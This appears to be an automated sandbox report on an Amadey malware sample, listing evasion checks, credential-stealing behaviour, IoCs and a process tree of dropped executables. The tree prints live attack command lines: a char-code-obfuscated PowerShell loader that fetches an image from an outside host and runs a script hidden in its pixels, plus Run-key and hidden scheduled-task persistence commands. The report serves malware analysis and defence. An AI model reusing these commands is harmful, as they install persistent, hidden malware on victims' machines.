amadey | 458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5b2f185e4f.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	GI59vO6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	BhD8htX.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	0608197541.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GI59vO6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BhD8htX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0608197541.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GI59vO6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BhD8htX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5b2f185e4f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5b2f185e4f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0608197541.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	axplong.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	AllNew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	Gxtuum.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	rafencoder32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	5b2f185e4f.exe

Executes dropped EXE 22 IoCs

pid	Process
3320	skotes.exe
4988	skotes.exe
740	5b2f185e4f.exe
544	axplong.exe
2024	stealc_default2.exe
4140	GI59vO6.exe
4732	alex2022.exe
1972	alex2022.exe
4976	alex2022.exe
2632	alex2022.exe
3164	BhD8htX.exe
2844	0608197541.exe
3288	AllNew.exe
1444	Gxtuum.exe
1732	i1A5m12.exe
548	i1A5m12.tmp
2008	rafencoder.exe
3220	stail.exe
3300	stail.tmp
5072	rafencoder32.exe
1156	trru7rd2.exe
3180	wL3EGdM.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	GI59vO6.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	BhD8htX.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	0608197541.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	5b2f185e4f.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	axplong.exe

Loads dropped DLL 6 IoCs

pid	Process
548	i1A5m12.tmp
2008	rafencoder.exe
2024	stealc_default2.exe
2024	stealc_default2.exe
3300	stail.tmp
5072	rafencoder32.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1116	powershell.exe
920	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
2976	cmd.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000b000000023d1c-7281.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
4128	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
3320	skotes.exe
4988	skotes.exe
740	5b2f185e4f.exe
544	axplong.exe
4140	GI59vO6.exe
3164	BhD8htX.exe
2844	0608197541.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4732 set thread context of 2632	4732	alex2022.exe	106

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\axplong.job	5b2f185e4f.exe
File created	C:\Windows\Tasks\Gxtuum.job	AllNew.exe
File created	C:\Windows\Tasks\skotes.job	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x0007000000023cc7-390.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 10 IoCs

pid	pid_target	Process	procid_target
3244	2844	WerFault.exe	110
1860	2844	WerFault.exe	110
1388	2844	WerFault.exe	110
5184	4140	WerFault.exe	98
5192	2632	WerFault.exe	106
5636	3164	WerFault.exe	108
740	3164	WerFault.exe	108
2900	5564	WerFault.exe	155
5508	1196	WerFault.exe	159
6448	1196	WerFault.exe	159

System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wL3EGdM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5b2f185e4f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alex2022.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alex2022.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BhD8htX.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i1A5m12.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stail.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AllNew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stail.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rafencoder32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trru7rd2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axplong.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GI59vO6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i1A5m12.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0608197541.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	stealc_default2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	stealc_default2.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
5176	taskkill.exe
7164	taskkill.exe
5484	taskkill.exe
4468	taskkill.exe
5824	taskkill.exe
3284	taskkill.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5644	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
4128	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
4128	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
3320	skotes.exe
3320	skotes.exe
4988	skotes.exe
4988	skotes.exe
740	5b2f185e4f.exe
740	5b2f185e4f.exe
544	axplong.exe
544	axplong.exe
4140	GI59vO6.exe
4140	GI59vO6.exe
2024	stealc_default2.exe
2024	stealc_default2.exe
3164	BhD8htX.exe
3164	BhD8htX.exe
2844	0608197541.exe
2844	0608197541.exe
548	i1A5m12.tmp
548	i1A5m12.tmp
2024	stealc_default2.exe
2024	stealc_default2.exe
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
3300	stail.tmp
920	powershell.exe
920	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3180	wL3EGdM.exe
Token: SeDebugPrivilege	920	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4128	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
740	5b2f185e4f.exe
548	i1A5m12.tmp
3300	stail.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4128 wrote to memory of 3320	4128	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe	83
PID 4128 wrote to memory of 3320	4128	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe	83
PID 4128 wrote to memory of 3320	4128	458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe	83
PID 3320 wrote to memory of 740	3320	skotes.exe	92
PID 3320 wrote to memory of 740	3320	skotes.exe	92
PID 3320 wrote to memory of 740	3320	skotes.exe	92
PID 740 wrote to memory of 544	740	5b2f185e4f.exe	95
PID 740 wrote to memory of 544	740	5b2f185e4f.exe	95
PID 740 wrote to memory of 544	740	5b2f185e4f.exe	95
PID 544 wrote to memory of 2024	544	axplong.exe	96
PID 544 wrote to memory of 2024	544	axplong.exe	96
PID 544 wrote to memory of 2024	544	axplong.exe	96
PID 3320 wrote to memory of 4140	3320	skotes.exe	98
PID 3320 wrote to memory of 4140	3320	skotes.exe	98
PID 3320 wrote to memory of 4140	3320	skotes.exe	98
PID 544 wrote to memory of 4732	544	axplong.exe	102
PID 544 wrote to memory of 4732	544	axplong.exe	102
PID 544 wrote to memory of 4732	544	axplong.exe	102
PID 4732 wrote to memory of 1972	4732	alex2022.exe	104
PID 4732 wrote to memory of 1972	4732	alex2022.exe	104
PID 4732 wrote to memory of 1972	4732	alex2022.exe	104
PID 4732 wrote to memory of 4976	4732	alex2022.exe	105
PID 4732 wrote to memory of 4976	4732	alex2022.exe	105
PID 4732 wrote to memory of 4976	4732	alex2022.exe	105
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 4732 wrote to memory of 2632	4732	alex2022.exe	106
PID 3320 wrote to memory of 3164	3320	skotes.exe	108
PID 3320 wrote to memory of 3164	3320	skotes.exe	108
PID 3320 wrote to memory of 3164	3320	skotes.exe	108
PID 544 wrote to memory of 2844	544	axplong.exe	110
PID 544 wrote to memory of 2844	544	axplong.exe	110
PID 544 wrote to memory of 2844	544	axplong.exe	110
PID 544 wrote to memory of 3288	544	axplong.exe	112
PID 544 wrote to memory of 3288	544	axplong.exe	112
PID 544 wrote to memory of 3288	544	axplong.exe	112
PID 3288 wrote to memory of 1444	3288	AllNew.exe	113
PID 3288 wrote to memory of 1444	3288	AllNew.exe	113
PID 3288 wrote to memory of 1444	3288	AllNew.exe	113
PID 3320 wrote to memory of 1732	3320	skotes.exe	120
PID 3320 wrote to memory of 1732	3320	skotes.exe	120
PID 3320 wrote to memory of 1732	3320	skotes.exe	120
PID 1732 wrote to memory of 548	1732	i1A5m12.exe	121
PID 1732 wrote to memory of 548	1732	i1A5m12.exe	121
PID 1732 wrote to memory of 548	1732	i1A5m12.exe	121
PID 548 wrote to memory of 1448	548	i1A5m12.tmp	122
PID 548 wrote to memory of 1448	548	i1A5m12.tmp	122
PID 548 wrote to memory of 1448	548	i1A5m12.tmp	122
PID 548 wrote to memory of 2008	548	i1A5m12.tmp	124
PID 548 wrote to memory of 2008	548	i1A5m12.tmp	124
PID 548 wrote to memory of 2008	548	i1A5m12.tmp	124
PID 1448 wrote to memory of 5116	1448	net.exe	125
PID 1448 wrote to memory of 5116	1448	net.exe	125
PID 1448 wrote to memory of 5116	1448	net.exe	125
PID 1444 wrote to memory of 3220	1444	Gxtuum.exe	129
PID 1444 wrote to memory of 3220	1444	Gxtuum.exe	129
PID 1444 wrote to memory of 3220	1444	Gxtuum.exe	129

C:\Users\Admin\AppData\Local\Temp\458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe
"C:\Users\Admin\AppData\Local\Temp\458d36f8118c122fcd17e2ea1859282fd29e5f774ab7998787150c4f21ed360e.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4128
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Users\Admin\AppData\Local\Temp\1011459001\5b2f185e4f.exe
    "C:\Users\Admin\AppData\Local\Temp\1011459001\5b2f185e4f.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:740
  - - C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
      "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:544
    - - C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:2024
    - - C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4732
      - C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe"
        6⤵
        Executes dropped EXE
        
        PID:1972
      - C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe"
        6⤵
        Executes dropped EXE
        
        PID:4976
      - C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2632
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2632 -s 1316
        7⤵
        Program crash
        
        PID:5192
    - - C:\Users\Admin\AppData\Local\Temp\1002824001\0608197541.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1002824001\0608197541.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2844
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 1484
        6⤵
        Program crash
        
        PID:1860
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 1496
        6⤵
        Program crash
        
        PID:3244
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 1584
        6⤵
        Program crash
        
        PID:1388
    - - C:\Users\Admin\AppData\Local\Temp\1003013001\AllNew.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1003013001\AllNew.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3288
      - C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
        
        "C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1444
        
        C:\Users\Admin\AppData\Local\Temp\10000351101\stail.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10000351101\stail.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3220
        
        C:\Users\Admin\AppData\Local\Temp\is-DD1J2.tmp\stail.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DD1J2.tmp\stail.tmp" /SL5="$1502B0,4048252,54272,C:\Users\Admin\AppData\Local\Temp\10000351101\stail.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:3300
        
        C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" pause raf_encoder_1255
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:3540
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 pause raf_encoder_1255
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:3844
        
        C:\Users\Admin\AppData\Local\RAF Encoder 1.0.1.55\rafencoder32.exe
        
        "C:\Users\Admin\AppData\Local\RAF Encoder 1.0.1.55\rafencoder32.exe" -i
        9⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:5072
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "lDBNode55" -Value "C:\ProgramData\DNodedbtable\DNodedbtable.exe"
        10⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:920
    - - C:\Users\Admin\AppData\Local\Temp\1003620001\trru7rd2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1003620001\trru7rd2.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1156
    - - C:\Users\Admin\AppData\Local\Temp\1004899001\am209.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1004899001\am209.exe"
        5⤵
        
        PID:5748
      - C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe"
        6⤵
        
        PID:1052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\10009630142\asyn.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1116
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn Admin /SC minute /MO 30 /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\10009630142\asyn.ps1"" /F
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5644
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" cmd /c powershell -NoProfile -NonInteractive -WindowStyle Hidden -exec bypass "Set-PSReadLineOption -HistorySaveStyle SaveNothing; Function c { & ([ScriptBlock]::Create([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,68,114,97,119,105,110,103,13,10,65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,78,101,116,13,10,13,10,36,119,101,98,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,13,10,36,117,114,108,32,61,32,34,104,116,116,112,115,58,47,47,105,46,105,109,103,104,105,112,112,111,46,99,111,109,47,102,105,108,101,115,47,115,101,116,53,57,49,50,80,121,89,46,66,109,112,34,13,10,36,109,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,13,10,36,119,101,98,46,68,111,119,110,108,111,97,100,68,97,116,97,40,36,117,114,108,41,32,124,32,37,32,123,32,36,109,115,46,87,114,105,116,101,40,36,95,44,32,48,44,32,36,95,46,76,101,110,103,116,104,41,32,125,13,10,36,109,115,46,80,111,115,105,116,105,111,110,32,61,32,48,13,10,36,105,109,103,49,32,61,32,91,83,121,115,116,101,109,46,68,114,97,119,105,110,103,46,73,109,97,103,101,93,58,58,70,114,111,109,83,116,114,101,97,109,40,36,109,115,41,13,10,36,101,110,32,61,32,78,101,119,45,79,98,106,101,99,116,32,39,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,46,76,105,115,116,91,66,121,116,101,93,39,13,10,102,111,114,101,97,99,104,40,36,120,32,105,110,32,49,46,46,36,105,109,103,49,46,87,105,100,116,104,41,32,123,13,10,32,32,32,32,36,101,110,46,65,100,100,40,40,36,105,109,103,49,46,71,101,116,80,105,120,101,108,40,36,120,32,45,32,49,44,32,48,41,46,82,41,41,13,10,125,13,10,36,112,108,32,61,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,85,84,70,56,46,71,101,116,83,116,114,105,110,103,40,36,101,110,46,84,111,65,114,114,97,121,40,41,41,13,10,36,115,98,32,61,32,91,83,99,114,105,112,116,66,108,111,99,107,93,58,58,67,114,101,97,116,101,40,36,112,108,41,13,10,105,99,109,32,36,115,98,13,10,13,10,35,82,82,82,82)))); } c #d "
        8⤵
        An obfuscated cmd.exe command-line is typically used to evade detection.
        
        PID:2976
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
        7⤵
        
        PID:6752
    - - C:\Users\Admin\AppData\Local\Temp\1005242001\v_dolg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005242001\v_dolg.exe"
        5⤵
        
        PID:5564
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5564 -s 1384
        6⤵
        Program crash
        
        PID:2900
    - - C:\Users\Admin\AppData\Local\Temp\1005454001\0eea06d992.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005454001\0eea06d992.exe"
        5⤵
        
        PID:5992
    - - C:\Users\Admin\AppData\Local\Temp\1005455001\75bb7d66af.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005455001\75bb7d66af.exe"
        5⤵
        
        PID:1196
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 1580
        6⤵
        Program crash
        
        PID:5508
